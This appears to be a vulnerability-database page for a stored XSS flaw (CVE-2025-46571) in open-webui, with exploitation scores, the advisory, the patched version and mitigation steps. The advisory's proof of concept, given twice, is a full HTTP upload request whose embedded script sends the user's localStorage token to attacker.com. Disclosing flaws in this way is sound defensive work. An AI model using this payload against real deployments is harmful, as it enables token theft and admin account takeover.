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CVE-2025-46571 — open-webui

Fix: open-webui/open-webui@ef2aeb7

CVE-2025-46571 is a Cross-site Scripting (XSS) vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Open WebUI vulnerable to limited stored XSS vila uploaded html file

Also known asGHSA-8gh5-qqh8-hq3xPYSEC-2026-2713
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 24, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-46571.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs30th percentile — riskier than 30% of all scored CVEsHighest risk
0.00%0.29%0.58%0.87%0.2%0.4%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍open-webui

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Description

Summary

Low privileged users can upload HTML files which contain JavaScript code via the /api/v1/files/ backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability.

Details

The following HTTP request can be sent to the backend server to upload a file with the contents: <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Note the filename="test.html" , Content-Type: text/html, and <h1>padding</h> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a <script> tag.

The backend server responds to the above request with JSON data that contains an id parameter.

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This ID can be used to view the uploaded file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html

Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability.

PoC

First, upload an html containing JavaScript code to the backend server using the following HTTP request:

POST /api/v1/files/ HTTP/1.1
Host: localhost:8080
Content-Length: 286
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm

------WebKitFormBoundaryr0PnRBBHKXD9UEdm
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<h1>padding</h1>
<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>
------WebKitFormBoundaryr0PnRBBHKXD9UEdm--

Then copy the id from the response and use it to view the file in the browser at <Backend_URL>/api/v1/files/<file_id>/content/html

Impact

Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.6.6pip install --upgrade 'open-webui==0.6.6'

Affected Products

1 product · 1 configurations
Application
open webuiopenwebui
< 0.6.6
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.6.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-46571 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem(
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CVE-2025-46571: open-webui RCE — Fixed in 0.6.6